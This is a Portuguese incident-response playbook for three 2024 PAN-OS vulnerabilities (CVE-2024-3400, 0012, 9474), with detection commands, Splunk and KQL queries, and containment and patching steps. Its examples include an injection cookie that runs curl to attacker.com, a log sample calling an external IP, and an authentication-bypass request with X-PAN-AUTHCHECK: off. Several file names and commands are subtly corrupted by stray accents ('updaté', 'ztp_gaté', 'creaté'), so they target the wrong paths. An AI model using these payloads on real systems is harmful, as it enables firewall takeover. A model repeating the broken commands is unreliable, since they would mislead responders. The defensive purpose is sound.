> [!warning] Aviso Importante
> Este playbook é um ponto de partida. Deve ser revisado, testado e adaptado ao ambiente da sua organização. Não substitui um plano formal de Incident Response.
# IR Playbook - Exploração de PAN-OS (2024)
Playbook consolidado de Incident Response para três vulnerabilidades críticas do Palo Alto Networks PAN-OS descobertas e exploradas ativamente em 2024: [[cve-2024-3400|CVE-2024-3400]], [[cve-2024-0012|CVE-2024-0012]] e [[cve-2024-9474|CVE-2024-9474]]. Todas as três estão no catálogo CISA KEV e foram exploradas por atores de ameaça sofisticados em operações rastreadas como **Operation MidnightEclipse** e **Operation Lunar Peek**.
---
## Visão Geral
### Contexto dos CVEs
| CVE | Publicado | CVSS | Superfície de Ataque | CISA KEV |
|-----|-----------|------|----------------------|----------|
| [[cve-2024-3400\|CVE-2024-3400]] | Abr 2024 | 10.0 CRÍTICO | GlobalProtect gateway/portal | Sim (adicionado 12/04/2024) |
| [[cve-2024-0012\|CVE-2024-0012]] | Nov 2024 | 9.3 CRÍTICO | Interface web de gerenciamento | Sim (adicionado 18/11/2024) |
| [[cve-2024-9474\|CVE-2024-9474]] | Nov 2024 | 6.9 MÉDIO | Interface web de gerenciamento | Sim (adicionado 18/11/2024) |
### Descrição Técnica dos CVEs
**[[cve-2024-3400|CVE-2024-3400]] — GlobalProtect Command Injection**
Vulnerabilidade de injeção de comandos via criação arbitrária de arquivos no recurso GlobalProtect do PAN-OS. Um atacante não autenticado pode executar código arbitrário com privilégios root no firewall através de path traversal no cookie `SESSID`. Afeta PAN-OS 10.2, 11.0 e 11.1 com GlobalProtect gateway ou portal configurado. Explorada pela campanha Operation MidnightEclipse pelo ator rastreado como UTA0218, com implantação do backdoor Python **UPSTYLE**. Técnica primária: [[t1190-exploit-public-facing-application|T1190 — Exploit Public-Facing Application]].
**[[cve-2024-0012|CVE-2024-0012]] — Management Interface Authentication Bypass**
Bypass de autenticação na interface web de gerenciamento do PAN-OS. Um atacante não autenticado com acesso de rede à interface de gerenciamento pode obter privilégios de administrador PAN-OS enviando requisição HTTP com o header `X-PAN-AUTHCHECK: off`, contornando o script `uiEnvSetup.php`. Afeta PAN-OS 10.2, 11.0, 11.1 e 11.2 em appliances PA-Series, VM-Series, CN-Series e Panorama. Explorada na campanha Operation Lunar Peek.
**[[cve-2024-9474|CVE-2024-9474]] — Management Interface Privilege Escalation**
Escalada de privilégios na interface web de gerenciamento. Um administrador PAN-OS autenticado pode executar ações no firewall com privilégios root via o script `createRemoteAppwebSession.php`, permitindo criação de usuários arbitrários com funções arbitrárias. Afeta PAN-OS 10.1, 10.2, 11.0, 11.1 e 11.2. Normalmente encadeado com [[cve-2024-0012|CVE-2024-0012]] para obter RCE não autenticado com root. Técnica: [[t1068-exploitation-privilege-escalation|T1068 — Exploitation for Privilege Escalation]].
### Attack Flow Típica
```
CVE-2024-0012 (auth bypass) → CVE-2024-9474 (privesc root)
↓
CVE-2024-3400 (RCE root via GlobalProtect) — vetor independente
↓
Exfiltração de running-config.xml → Movimento lateral → Backdoor/Web Shell
```
A técnica [[t1505-server-software-component|T1505 — Server-Side Backdoor]] foi observada em ambas as campanhas: implantação do UPSTYLE (CVE-2024-3400) e web shells PHP genéricos (CVE-2024-0012/9474).
---
## Fluxo de Resposta ao Incidente
```mermaid
flowchart TD
A([🚨 Firewall PAN-OS<br/>Comportamento Anômalo]) --> B{Identificar\nVetor}
B -->|GlobalProtect exposto| C[Investigar<br/>CVE-2024-3400]
B -->|Management interface\nexposta| D[Investigar<br/>CVE-2024-0012 + CVE-2024-9474]
B -->|Ambos aplicáveis| E[Investigar<br/>Todos em Paralelo]
C --> F{Comprometimento\nConfirmado?}
D --> F
E --> F
F -->|Sim — IoC encontrado| G[DECLARAR INCIDENTE P1]
F -->|Não — suspeita apenas| H[Gerar Tech Support File<br/>Análise Forense]
G --> I[ISOLAMENTO IMEDIATO<br/>Bloquear upstream do firewall]
H --> I
I --> J[Gerar TSF antes<br/>de qualquer mudança]
J --> K{CVE-2024-3400\nou CVE-0012/9474?}
K -->|3400| L[Remover UPSTYLE<br/>Remover cron /etc/cron.d/updaté<br/>Remover CSS maliciosos]
K -->|0012/9474| M[Remover web shells PHP<br/>Revogar contas admin criadas<br/>Revertir config suspeita]
L --> N[Aplicar Patch<br/>Versão Corrigida]
M --> N
N --> O[Rotacionar TODAS<br/>as credenciais]
O --> P[Validar Remediação<br/>Reabilitar com controles]
P --> Q[Monitoramento<br/>Intensivo 72h]
Q --> R([✅ Incidente Encerrado])
style A fill:#ff6600,color:#fff
style G fill:#ff0000,color:#fff
style R fill:#00aa44,color:#fff
style I fill:#cc3300,color:#fff
```
---
## Diagrama de Comúnicação
```mermaid
sequenceDiagram
participant SOC as SOC Analyst
participant IR as IR Lead
participant NetEng as Network/Firewall Team
participant CISO as CISO
participant PAN as Palo Alto TAC
participant Legal as Jurídico/DPO
participant Exec as Executivos
SOC->>IR: T+0: IoC encontrado em PAN-OS — possível exploração
IR->>NetEng: T+5min: Gerar Tech Support File — NÃO reiniciar ainda
NetEng->>IR: T+15min: TSF coletado — confirmar comprometimento
IR->>CISO: T+15min: Declarar incidente P1 — PAN-OS comprometido
IR->>PAN: T+20min: Abrir caso TAC para suporte técnico
CISO->>Exec: T+30min: Briefing executivo — firewall comprometido, ações em curso
NetEng->>NetEng: T+30min: Isolamento do firewall — redirecionar tráfego
IR->>Legal: T+1h: Avaliação LGPD — running-config exfiltrada pode conter dados pessoais
PAN->>IR: T+2h: Orientações técnicas de remediação (TAC)
NetEng->>IR: T+4h: Patch aplicado — válidação em curso
IR->>CISO: T+6h: Relatório de contenção e erradicação
Legal->>CISO: T+24h: Parecer sobre notificação regulatória
IR->>Exec: T+72h: Post-mortem e lições aprendidas
```
---
## Ferramentas Recomendadas
### Detecção e Análise
| Ferramenta | Uso | Comando |
|------------|-----|---------|
| **PAN-OS CLI** | Análise de logs gpsvc, system, nginx | `grep pattern "failed to unmarshal" mp-log gpsvc.log*` |
| **Wireshark** | Análise de tráfego capturado - identificar exploits | Filtro: `http.request.uri contains "global-protect"` |
| **Velociraptor** | Hunting remoto em endpoints pós-comprometimento | Artefatos de rede e processo |
| **Zeek** | Análise de sessões TLS suspeitas saindo do firewall | Log `ssl.log` - verificar certificados auto-assinados |
### Forense
| Ferramenta | Uso |
|------------|-----|
| **Tech Support File (TSF)** | Coleta forense nativa do PAN-OS - logs completos, memória, disco |
| **Volatility 3** | Análise de memória se appliance virtual (VM-Series) |
| **FTK Imager** | Imagem do disco do VM-Series antes de ações de remediação |
### Verificação de Integridade
| Ferramenta | Uso | Comando |
|------------|-----|---------|
| **sha256sum** | Verificar hash de arquivos CSS e binários PAN-OS | `sha256sum /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css` |
| **sigcheck (Sysinternals)** | Verificar assinatura de binários Windows pós-comprometimento | `sigcheck -u -e C:\Program Files\Palo Alto Networks\` |
| **PAN-OS file-check** | Verificar integridade do sistema | `request system file-check` |
### Threat Intelligence
| Ferramenta | Uso |
|------------|-----|
| **VirusTotal** | Verificar IPs/domínios de C2 identificados nos logs |
| **Shodan** | Identificar se o firewall estava exposto públicamente |
| **CISA KEV** | Monitorar novos CVEs PAN-OS adicionados ao catálogo |
---
## Checklist de Contenção
- [ ] Confirmar comprometimento antes de agir - buscar IoCs específicos nas seções 3-5
- [ ] **Gerar Tech Support File (TSF)** antes de qualquer mudança: `tftp export tech-support to <ip>`
- [ ] Tirar snapshot do VM-Series no hypervisor (se appliance virtual)
- [ ] Isolar o firewall via bloqueio upstream (switch ou roteador - não via o próprio firewall)
- [ ] Documentar timestamp e versão PAN-OS exatos no momento do isolamento
- [ ] Verificar que os dispositivos downstream continuam operando com última configuração recebida
- [ ] Abrir caso no TAC da Palo Alto com o TSF coletado
- [ ] Notificar CISO e equipe jurídica - running-config pode conter credenciais e dados de usuários
- [ ] Bloquear IPs de C2 identificados nos logs em dispositivos upstream
## Checklist de Erradicação
- [ ] CVE-2024-3400: remover `/etc/cron.d/updaté` e outros cron jobs maliciosos
- [ ] CVE-2024-3400: remover arquivos CSS suspeitos em `/var/appweb/sslvpndocs/global-protect/`
- [ ] CVE-2024-3400: restaurar `bootstrap.min.css` se comprometido pelo UPSTYLE
- [ ] CVE-2024-3400: matar processos Python suspeitos e remover scripts de backdoor
- [ ] CVE-0012/9474: remover web shells PHP de `/var/appweb/`
- [ ] CVE-0012/9474: remover usuários administrativos criados pelo atacante
- [ ] CVE-0012/9474: reverter configurações suspeitas no `running-config.xml`
- [ ] Aplicar patch para a versão corrigida (conforme tabela de versões na Seção 8)
- [ ] Para comprometimentos confirmados: solicitar Enhanced Factory Reset (EFR) ao TAC
- [ ] Verificar integridade: `request system file-check`
- [ ] Revogar e regenerar todos os certificados do firewall
- [ ] Resetar senhas de todos os administradores PAN-OS
- [ ] Revogar API keys comprometidas
- [ ] Notificar IAM sobre credenciais expostas na running-config exfiltrada
## Checklist de Recuperação
- [ ] Confirmar versão pós-patch: `show system info | match sw-version`
- [ ] Reválidar com curl de teste se patch do CVE-2024-3400 está ativo
- [ ] Re-executar todos os comandos de detecção das Seções 3-5 - confirmar zero resultados
- [ ] Reabilitar GlobalProtect com Threat Prevention Signatures ativas (IDs: 95187, 95189, 95191)
- [ ] Reexpor management interface SOMENTE para IPs internos confiáveis
- [ ] Habilitar MFA para acesso administrativo
- [ ] Configurar jump box dedicado para acesso ao management
- [ ] Monitoramento intensivo por 72h após recuperação
- [ ] Notificação regulatória se dados pessoais podem ter trafegado pelo firewall comprometido (LGPD)
---
## 2. Triagem - Qual CVE Foi Explorado?
### Tabela Comparativa de Versões Afetadas
| Versão PAN-OS | CVE-2024-3400 | CVE-2024-0012 | CVE-2024-9474 |
|---------------|:---:|:---:|:---:|
| 10.1 | Não | Não | Sim |
| 10.2 (< 10.2.9-h1) | Sim | Sim | Sim |
| 10.2 (10.2.9-h1 a < 10.2.12-h2) | Não | Sim | Sim |
| 11.0 (< 11.0.4-h1) | Sim | Sim | Sim |
| 11.0 (11.0.4-h1 a < 11.0.6-h1) | Não | Sim | Sim |
| 11.1 (< 11.1.2-h3) | Sim | Sim | Sim |
| 11.1 (11.1.2-h3 a < 11.1.5-h1) | Não | Sim | Sim |
| 11.2 (< 11.2.4-h1) | Não | Sim | Sim |
| Cloud NGFW / Prisma Access | Não afetado | Não afetado | Não afetado |
### Árvore de Decisão para Triagem
```
Firewall PAN-OS suspeito de comprometimento?
│
├─► Versão: PAN-OS 10.2, 11.0 ou 11.1 sem patch?
│ └─► GlobalProtect gateway ou portal está configurado?
│ ├─► SIM → Investigar CVE-2024-3400 (Seção 3)
│ └─► NÃO → Pular para verificação de management interface
│
├─► Interface de gerenciamento exposta externamente (internet ou rede não confiável)?
│ └─► Versão afetada por CVE-2024-0012?
│ ├─► SIM → Investigar CVE-2024-0012 (Seção 4)
│ │ + verificar CVE-2024-9474 encadeado (Seção 5)
│ └─► NÃO → Investigar CVE-2024-9474 isolado (Seção 5)
│ (requer acesso admin pré-existente)
│
└─► Ambos os vetores aplicáveis? → Investigar TODOS em paralelo
```
> [!tip] Indicador Rápido
> Se você encontrar arquivos `.css` suspeitos em `/var/appweb/sslvpndocs/global-protect/`, ou logs `gpsvc.log` com path traversal no campo session, a exploração é do [[cve-2024-3400|CVE-2024-3400]]. Se encontrar requisições HTTP ao management com header `X-PAN-AUTHCHECK: off` nos logs, é [[cve-2024-0012|CVE-2024-0012]].
---
## 3. CVE-2024-3400 - GlobalProtect Command Injection
### Mecanismo de Exploração
O atacante manipula o cookie `SESSID` com uma string de path traversal e injeção de comando. O PAN-OS cria um arquivo com o nome do valor do cookie no diretório de telemetria, e o serviço de telemetria processa o "nome do arquivo" como um comando shell:
```
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/hour/[cmd]`curl${IFS}attacker.com`
```
### Passo 1 - Verificar Versão e Configuração
1. No CLI PAN-OS, executar: `show system info | match version`
2. Verificar se GlobalProtect está configurado: `Network > GlobalProtect > Gateways` e `Network > GlobalProtect > Portals`
3. Confirmar se versão está no escopo afetado (10.2 < 10.2.9-h1, 11.0 < 11.0.4-h1, 11.1 < 11.1.2-h3)
### Passo 2 - Buscar Indicadores em Logs GlobalProtect
Executar o comando oficial Palo Alto no CLI do firewall:
```bash
grep pattern "failed to unmarshal session(.\\+.\\/" mp-log gpsvc.log*
```
**Resultado legítimo** (GUID normal):
```
failed to unmarshal session(3f2a1b4c-8e9d-4f1a-b2c3-d4e5f6789012)
```
**Resultado malicioso** (path traversal visível):
```
failed to unmarshal session(/../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}11.22.33.44:1234?user`)
```
> [!danger] Comprometimento Confirmado
> Se o valor entre `session(` e `)` contém `/`, `..`, `curl`, `wget`, `bash`, `base64` ou `echo`, o dispositivo foi comprometido. Acionar o plano de contenção (Seção 7) imediatamente.
### Passo 3 - Verificar Logs de Telemetry
Buscar no arquivo `/var/log/pan/sslvpn_ngx_error.log` padrões de alto risco:
```bash
grep -E "base64.*bash|echo.*bash|wget.*bash" /var/log/pan/sslvpn_ngx_error.log
```
Detectar strings base64 codificando comandos de cópia de configuração:
```bash
grep -E "[A-Za-z0-9+/]{20,}={0,2}" /var/log/pan/sslvpn_ngx_error.log | grep "base64"
```
### Passo 4 - Verificar Web Shells e Arquivos Suspeitos
Verificar presença de arquivos CSS ou outros artefatos criados pelo atacante:
```bash
ls -la /var/appweb/sslvpndocs/global-protect/*.css
ls -la /var/appweb/sslvpndocs/global-protect/portal/css/
```
Verificar se `bootstrap.min.css` foi modificado (backdoor UPSTYLE):
```bash
# [VALIDAR NO SEU AMBIENTE] - comparar hash com versão original da Palo Alto
sha256sum /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css
```
Verificar cron jobs maliciosos implantados:
```bash
ls -la /etc/cron.d/
cat /etc/cron.d/updaté # arquivo criado pelo atacante na Operation MidnightEclipse
```
### Passo 5 - Verificar Exfiltração de Configuração
O padrão mais comum pós-exploração é cópia de `running-config.xml` para o diretório web acessível:
```bash
find /var/appweb/sslvpndocs/global-protect/ -name "*.css" -newer /var/appweb/sslvpndocs/global-protect/login.esp
find /var/appweb/sslvpndocs/global-protect/ -name "*.xml"
```
Verificar logs de acesso nginx para downloads da configuração:
```bash
grep -E "\.(css|xml) HTTP/[0-9]" /var/log/pan/sslvpn_ngx_access.log | grep -v "bootstrap|style|theme"
```
### Passo 6 - Verificar Backdoor UPSTYLE
O UPSTYLE é um backdoor Python que monitora `/var/log/pan/sslvpn_ngx_error.log` em busca de padrões e executa comandos exfiltrados via o arquivo CSS legítimo `bootstrap.min.css`.
```bash
# Verificar processos Python suspeitos
ps aux | grep python
# Verificar se existe script Python persistente
find /opt/ /tmp/ /var/tmp/ -name "*.py" -newer /var/log/pan/gpsvc.log 2>/dev/null
```
### Indicadores de Compromisso (IoCs) Conhecidos - CVE-2024-3400
| Tipo | Valor | Fonte |
|------|-------|-------|
| IP C2 | `172.233.228[.]93` | Unit 42 / Volexity |
| IP atacante | `66.235.168[.]222` | Unit 42 |
| Arquivo malicioso | `/etc/cron.d/updaté` | Volexity |
| Arquivo malicioso | `/var/appweb/sslvpndocs/global-protect/*.css` (inesperado) | Volexity |
| User-agent | `python-requests` (processos Python inexplicados) | Unit 42 |
> [!warning] IoCs Defasados
> IPs de C2 mudam frequentemente. Verifique fontes atualizadas (VirusTotal, OTX AlienVault) antes de usar estes IoCs para bloqueio.
---
## 4. CVE-2024-0012 - Management Interface Authentication Bypass
### Mecanismo de Exploração
A vulnerabilidade está no script `uiEnvSetup.php`. O atacante envia uma requisição HTTP com o header `X-PAN-AUTHCHECK: off` para o Nginx reverse proxy, que repassa sem processamento, fazendo o script pular a verificação de autenticação:
```http
GET /php/ztp_gaté.php/.js.map HTTP/1.1
Host: <management-ip>
X-PAN-AUTHCHECK: off
```
### Passo 1 - Verificar Exposição da Interface de Gerenciamento
1. Confirmar se a interface de gerenciamento está acessível de redes não confiáveis
2. Verificar regras de firewall para porta de gestão (tipicamente TCP 443 ou 4443)
3. Verificar no Customer Support Portal: `Products → Assets → All Assets → Remediation Required` - dispositivos marcados com `PAN-SA-2024-0015`
### Passo 2 - Analisar Logs de Acesso da Interface de Gerenciamento
Buscar requisições com o header de bypass nos logs do servidor web de gerenciamento:
```bash
# [VALIDAR NO SEU AMBIENTE] - caminho pode variar por versão
grep -i "X-PAN-AUTHCHECK" /var/log/pan/appweb3-access.log
grep -i "authcheck.*off" /var/log/pan/appweb3-access.log
```
Verificar acessos não autenticados a scripts PHP privilegiados:
```bash
grep -E "(ztp_gaté|php).*(200|302)" /var/log/pan/appweb3-access.log | grep -v "login|auth"
```
### Passo 3 - Verificar Ações Administrativas Suspeitas
Após bypass de autenticação via [[cve-2024-0012|CVE-2024-0012]], atacantes geralmente:
- Modificam configurações do firewall
- Criam usuários administrativos backdoor
- Exportam configuração (`running-config.xml`)
- Preparam escalada para CVE-2024-9474
```bash
# Verificar criação de usuários locais suspeitos
grep -E "add.*user|creaté.*admin" /var/log/pan/system.log
# Verificar modificações de configuração
grep -i "config.*commit|commit.*success" /var/log/pan/system.log | tail -50
```
### Passo 4 - Verificar Web Shells Implantados
Após exploração, atacantes foram observados implantando web shells PHP:
```bash
find /var/appweb/ -name "*.php" -newer /var/appweb/sslvpndocs/index.html -ls 2>/dev/null
# [VALIDAR NO SEU AMBIENTE] - ajustar timestamp de referência
```
### Passo 5 - Verificar Download de Ferramentas (curl/wget)
Nos logs de rede e sistema, buscar downloads externos iniciados pelo appliance:
```bash
grep -E "curl|wget" /var/log/pan/system.log | grep -v "updaté|content|signature"
```
Padrão observado: uso de `Wget/1.19.5 (linux-gnu)` e `curl/7.61.1` para download de payloads.
---
## 5. CVE-2024-9474 - Escalada de Privilégios via Management Interface
### Mecanismo de Exploração
A vulnerabilidade está no script `createRemoteAppwebSession.php`. Um atacante com acesso de administrador (obtido via [[cve-2024-0012|CVE-2024-0012]] ou conta legítima comprometida) pode criar usuários arbitrários com papéis arbitrários e obter um `session ID` PHP. Com este token, é possível fazer upload de código PHP malicioso e executar comandos com privilégios root.
> [!danger] Encadeamento Crítico
> CVE-2024-9474 é classificado como MÉDIO (6.9) isoladamente, mas quando encadeado com [[cve-2024-0012|CVE-2024-0012]] resulta em **RCE não autenticado com root**. Sempre investigar ambos quando a interface de gerenciamento for exposta.
### Passo 1 - Verificar Execução de Comandos com Root
```bash
# Verificar histórico de comandos executados com root
grep -E "root.*exec|sudo.*root" /var/log/pan/system.log
# Verificar se createRemoteAppwebSession foi acessado
grep "createRemoteAppwebSession" /var/log/pan/appweb3-access.log
```
### Passo 2 - Verificar Usuários Criados Anormalmente
```bash
# Listar usuários locais configurados
grep -E "username|local-user" /opt/pancfg/mgmt/saved-configs/running-config.xml
# Verificar sessions PHP ativas
ls -la /var/appweb/htdocs/php/session/ 2>/dev/null
```
### Passo 3 - Verificar Atividade Pós-Exploração Típica
Com base nas observações de Darktrace e Arctic Wolf durante Operation Lunar Peek (Nov 2024):
1. **Validação do exploit**: requisições HTTP a serviços OAST (out-of-band) para confirmar execução
2. **Download de payloads**: uso de `curl` e `wget` para buscar binários de C2
3. **Conexões TLS suspeitas**: conexões a IPs externos com certificados auto-assinados
4. **Reconhecimento interno**: varreduras em portas SMB (445), SSH (22) e RDP (3389)
5. **Movimento lateral**: tentativas de autenticação NTLM anônima
6. **Cryptomining**: atividade de CPU elevada inexplicada
7. **Sliver C2**: framework Sliver foi identificado em ~50% dos casos investigados
```bash
# Verificar processos com alto consumo de CPU
# [VALIDAR NO SEU AMBIENTE]
top -b -n 1 | head -30
# Verificar conexões de rede estabelecidas pelo firewall
netstat -an | grep ESTABLISHED | grep -v "127.0.0.1|::1"
```
---
## 6. Detecção - Queries SIEM
### Splunk SPL - CVE-2024-3400 (GlobalProtect)
```spl
index=palo_alto sourcetype=pan:system
"failed to unmarshal session"
| regex message="failed to unmarshal session\(.*[\/\\\\\.]{2,}.*\)"
| table _time, host, message
| sort -_time
```
```spl
index=palo_alto sourcetype=pan:globalprotect
(message="*base64*bash*" OR message="*wget*bash*" OR message="*curl*bash*")
| stats count by host, message
| where count > 0
```
Detecção de arquivos CSS suspeitos via acesso web:
```spl
index=palo_alto sourcetype=pan:traffic
dest_port=443
(url="*/global-protect/*.css" NOT url="*bootstrap*" NOT url="*style*" NOT url="*theme*")
| table _time, src_ip, url, bytes_out
```
### Splunk SPL - CVE-2024-0012 / CVE-2024-9474 (Management Interface)
```spl
index=palo_alto sourcetype=pan:system
(message="*X-PAN-AUTHCHECK*off*" OR message="*authcheck*bypass*")
| table _time, host, src, message
```
```spl
index=palo_alto sourcetype=pan:system
(message="*createRemoteAppwebSession*" OR message="*ztp_gaté*")
src NOT IN ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
| table _time, host, src, message
| sort -_time
```
Detecção de download de payloads pós-exploração:
```spl
index=palo_alto sourcetype=pan:traffic
app="web-browsing" src_zone="management"
(url="*wget*" OR url="*curl*" OR user_agent="*Wget*" OR user_agent="*curl*")
NOT dest IN ("updates.paloaltonetworks.com", "contentupdates.paloaltonetworks.com")
| table _time, src, dest, url, user_agent
```
### Microsoft Sentinel / KQL - CVE-2024-3400
```kql
CommonSecurityLog
| where DeviceVendor == "Palo Alto Networks"
| where DeviceProduct == "PAN-OS"
| where Message contains "failed to unmarshal session"
| where Message matches regex @"session\([^)]*[/\\\.]{2,}[^)]*\)"
| project TimeGenerated, DeviceName, Message, SourceIP
| sort by TimeGenerated desc
```
```kql
CommonSecurityLog
| where DeviceVendor == "Palo Alto Networks"
| where Message has_any ("base64", "wget", "curl") and Message has "bash"
| where Message contains "gpsvc" or Message contains "global-protect"
| project TimeGenerated, DeviceName, SourceIP, Message
```
### Microsoft Sentinel / KQL - CVE-2024-0012 / CVE-2024-9474
```kql
CommonSecurityLog
| where DeviceVendor == "Palo Alto Networks"
| where RequestURL has_any ("ztp_gaté", "createRemoteAppwebSession", "php")
| where SourceIP !in~ ("10.0.0.0/8") // [VALIDAR NO SEU AMBIENTE] - ajustar CIDRs internos
| project TimeGenerated, DeviceName, SourceIP, RequestURL, RequestMethod
| sort by TimeGenerated desc
```
> [!note] Regras de Detecção
> Queries acima foram construídas com base em artefatos forenses públicados por Volexity, Unit 42, Darktrace e Arctic Wolf. Adapte índices, sourcetypes e CIDRs ao seu ambiente antes de implantar em produção.
---
## 7. Contenção
> [!danger] Contenção Urgente
> Dispositivos PAN-OS comprometidos devem ser isolados antes de qualquer análise forense adicional para evitar uso contínuo como pivot de rede interna.
### Passo 1 - Isolamento Imediato
1. **Isolar o firewall da rede interna**: redirecionar ou bloquear tráfego de gerenciamento no upstream
2. **Preservar estado para forense**: tirar snapshot de memória e disco antes de qualquer reinicialização (especialmente para VM-Series)
3. **Revogar credenciais comprometidas**: redefinir senhas de todos os administradores PAN-OS imediatamente
4. **Documentar estado atual**: registrar timestamp, versão PAN-OS, hostname, IP de gerenciamento
### Passo 2 - Gerar Tech Support File (TSF) para Análise Forense
```bash
# Via CLI PAN-OS
tftp export tech-support to <ip> file <hostname>-tsf-<daté>.tar.gz
```
O TSF contém logs de `/tmp/`, `/var/log/`, `/var/cores/crashinfo/`, `/opt/dpfs/`, `/opt/pancfg/panlogs`, `/opt/panlogs/`, `/opt/panrepo/`, `/opt/plugins/`. **Colete antes de aplicar patches ou reiniciar.**
### Passo 3 - CVE-2024-3400 - Desabilitar GlobalProtect Temporariamente
Se não for possível fazer patch imediato e o CVE-2024-3400 for o vetor identificado:
1. Desabilitar GlobalProtect gateway e portal temporariamente
2. Aplicar Threat Prevention Signatures (Threat IDs: **95187**, **95189**, **95191**) - requer subscription
3. Verificar aplicação correta: `curl -v -k -H "Cookie: SESSID=/../TESTVULN" https://<target>/global-protect/login.esp` - se retornar TCP reset, as signatures estão ativas
### Passo 4 - CVE-2024-0012 / CVE-2024-9474 - Restringir Acesso ao Management
1. **Bloquear acesso externo à interface de gerenciamento** - restringir a IPs internos confiáveis apenas
2. Verificar e remover qualquer perfil de gerenciamento em interfaces de dataplane com GlobalProtect
3. Se usar jump box, garantir que apenas o IP do jump box tem acesso à management interface
4. Considerar desabilitar o acesso HTTPS à management interface temporariamente se nenhum controle de IP puder ser aplicado imediatamente
### Passo 5 - Bloquear IoCs de Rede Identificados
```bash
# [VALIDAR NO SEU AMBIENTE] - verificar IoCs atualizados antes de bloquear
# Bloquear IPs de C2 conhecidos no upstream
# Monitorar DNS para domínios OAST (*.oast.pro, *.oast.site, *.interactsh.com)
```
---
## 8. Erradicação
### Passo 1 - Remover Artefatos Maliciosos
```bash
# CVE-2024-3400: remover cron jobs maliciosos
rm -f /etc/cron.d/updaté
ls /etc/cron.d/ # verificar outros arquivos suspeitos
# Remover arquivos CSS suspeitos em diretório GlobalProtect
find /var/appweb/sslvpndocs/global-protect/ -name "*.css" -not -name "bootstrap*" -not -name "theme*" -not -name "style*" -ls
# Remover após confirmação que são maliciosos
# Restaurar bootstrap.min.css se modificado pelo UPSTYLE
# [VALIDAR NO SEU AMBIENTE] - obter hash original do vendor
```
### Passo 2 - Remover Web Shells e Backdoors
```bash
# Identificar scripts PHP não esperados
find /var/appweb/ -name "*.php" -newer /var/log/pan/system.log -ls 2>/dev/null
# [VALIDAR NO SEU AMBIENTE] - ajustar referência de tempo
# Verificar processos Python suspeitos rodando como backdoor
ps aux | grep -E "python|python3" | grep -v "pan|system"
kill -9 <PID> # após confirmação
```
### Passo 3 - Aplicar Patches
**CVE-2024-3400:**
- PAN-OS 10.2 → atualizar para **10.2.9-h1** ou superior
- PAN-OS 11.0 → atualizar para **11.0.4-h1** ou superior
- PAN-OS 11.1 → atualizar para **11.1.2-h3** ou superior
**CVE-2024-0012 e CVE-2024-9474:**
- PAN-OS 10.1 → atualizar para **10.1.14-h6** ou superior
- PAN-OS 10.2 → atualizar para **10.2.12-h2** ou superior
- PAN-OS 11.0 → atualizar para **11.0.6-h1** ou superior
- PAN-OS 11.1 → atualizar para **11.1.5-h1** ou superior
- PAN-OS 11.2 → atualizar para **11.2.4-h1** ou superior
> [!warning] Persistência Pós-Patch
> A Palo Alto confirmou existência de técnicas de persistência pós-exploração do CVE-2024-3400 que **sobrevivem a resets e upgrades**. Para dispositivos possívelmente comprometidos antes de 25/04/2024 ou com comprometimento confirmado, abrir caso no TAC da Palo Alto para solicitar o procedimento de **Enhanced Factory Reset (EFR)**.
### Passo 4 - Verificar Integridade do PAN-OS
```bash
# Via CLI - verificar integridade dos componentes do sistema
# [VALIDAR NO SEU AMBIENTE] - comando específico pode variar por versão
request system file-check
```
### Passo 5 - Revogar Certificados e Credenciais Comprometidos
1. Revogar e regenerar certificados do firewall
2. Redefinir todas as senhas de administradores locais
3. Revogar API keys comprometidas (Network > GlobalProtect > Admin Keys)
4. Notificar equipe de IAM sobre possível comprometimento de credenciais na `running-config.xml` exfiltrada (inclui credenciais LDAP/AD, chaves pre-shared, certificados)
---
## 9. Recuperação
### Passo 1 - Validar Patch Aplicado
```bash
# Confirmar versão pós-patch
show system info | match "sw-version"
# CVE-2024-3400: re-testar com curl de válidação
curl -v -k -H "Cookie: SESSID=/../TESTVULN" https://<target>/global-protect/login.esp
# Resposta esperada: TCP reset (signatures ativas) ou HTTP 4xx sem processamento do cookie
```
### Passo 2 - Validar Remoção de Artefatos
1. Re-executar todos os comandos de detecção das Seções 3-5 e confirmar ausência de resultados positivos
2. Verificar ausência de cron jobs maliciosos: `cat /etc/cron.d/*`
3. Verificar ausência de processos Python suspeitos: `ps aux | grep python`
4. Verificar integridade de arquivos CSS do GlobalProtect
### Passo 3 - Reabilitar Serviços com Controles Reforçados
**Antes de reabilitar GlobalProtect (CVE-2024-3400):**
- Confirmar patch aplicado corretamente
- Habilitar Threat Prevention Signatures (IDs 95187, 95189, 95191)
- Revisar regras de vulnerability protection aplicadas à interface GlobalProtect
**Antes de reexpor interface de gerenciamento:**
- Confirmar que acesso está restrito a IPs internos confiáveis
- Habilitar MFA para acesso administrativo se disponível
- Configurar jump box dedicado para acesso administrativo
- Habilitar logs detalhados de acesso administrativo
### Passo 4 - Monitoramento Intensificado (72h pós-recuperação)
1. Ativar todas as queries de detecção da Seção 6 em modo de alerta em tempo real
2. Monitorar conexões de rede originadas pelo firewall para destinos externos
3. Monitorar criação de arquivos nos diretórios web do PAN-OS
4. Verificar logs de autenticação administrativa a cada 4 horas
5. Monitorar CISA KEV por novos CVEs relacionados a PAN-OS
### Passo 5 - Notificações e Relatórios
1. Notificar CISO e equipe jurídica sobre possível exfiltração de `running-config.xml`
2. Avaliar necessidade de notificação regulatória (LGPD se dados pessoais trafegavam pelo firewall)
3. Documentar linha do tempo completa do incidente
4. Registrar IoCs no vault: [[cve-2024-3400|CVE-2024-3400]], [[cve-2024-0012|CVE-2024-0012]], [[cve-2024-9474|CVE-2024-9474]]
---
## 10. Lições Aprendidas e Controles Preventivos
| Controle | CVE-2024-3400 | CVE-2024-0012 | CVE-2024-9474 |
|----------|:---:|:---:|:---:|
| Gestão de patches em 48h para CISA KEV | Previne | Previne | Previne |
| Interface de gerenciamento sem exposição à internet | N/A | Previne | Previne |
| GlobalProtect com Threat Prevention ativo | Mitiga | N/A | N/A |
| MFA para acesso administrativo | N/A | Mitiga | Mitiga |
| Monitoramento de logs de telemetria e gpsvc | Detecta | N/A | N/A |
| SIEM com regras para PAN-OS | Detecta | Detecta | Detecta |
| Jump box dedicado para management | N/A | Previne | Previne |
---
## Referências
### CVEs e Notas do Vault
- [[cve-2024-3400|CVE-2024-3400]] - GlobalProtect Command Injection (CVSS 10.0)
- [[cve-2024-0012|CVE-2024-0012]] - Management Interface Auth Bypass (CVSS 9.3)
